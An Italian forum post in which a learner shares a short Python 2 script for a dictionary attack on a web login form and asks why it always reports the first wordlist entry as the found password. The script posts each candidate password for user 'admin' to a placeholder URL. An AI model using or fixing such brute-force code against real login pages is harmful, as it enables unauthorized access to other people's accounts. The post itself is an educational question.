Ciao a tutti, oggi, mentre provavo a scrivere questo breve programmino per testare un concetto che avevo precedentemente studiato a livello teorico su un volume dedicato alle reti ed al Python in generale, mi trovo con un "compilatore2 che a prescindere mi restituisce un output "sbagliato"
Allego il codice, con una breve spiegazione:
Come immagino abbiate intuito, il programma in questione l'ho creato per "mettere in pratica" il concetto dell'attacco dizionario...Il problema consiste nel fatto che in fase di output (ossia Password trovata), il compilatore mi restituisca a prescindere il PRIMO elemento della lista.txt (il dizionario da cui attingere)...codice:import urllib url="http://sitodiprova.html" username="admin" lista="lista.txt" pwd = [] f = open(lista, "r ") pwd = f.readlines() f.close() for i in range(0, len(pwd)): if pwd[i][len(pwd[i])-1] == '\n': pwd[i] = pwd[i][0:len(pwd[i])-1] messaggioDiErrore = "Password errata" for password in pwd: print "Sto testando la password:", password parametriDaTestare = { "username" : username, "password" : password, "login" : "1" } p= urllib.urlencode(parametriDaTestare) paginaDiAction = urllib.urlopen(url, p) risultato = paginaDiAction.read() if not(messaggioDiErrore in risultato): print "Password trovata:", password break
Soluzioni?

Rispondi quotando
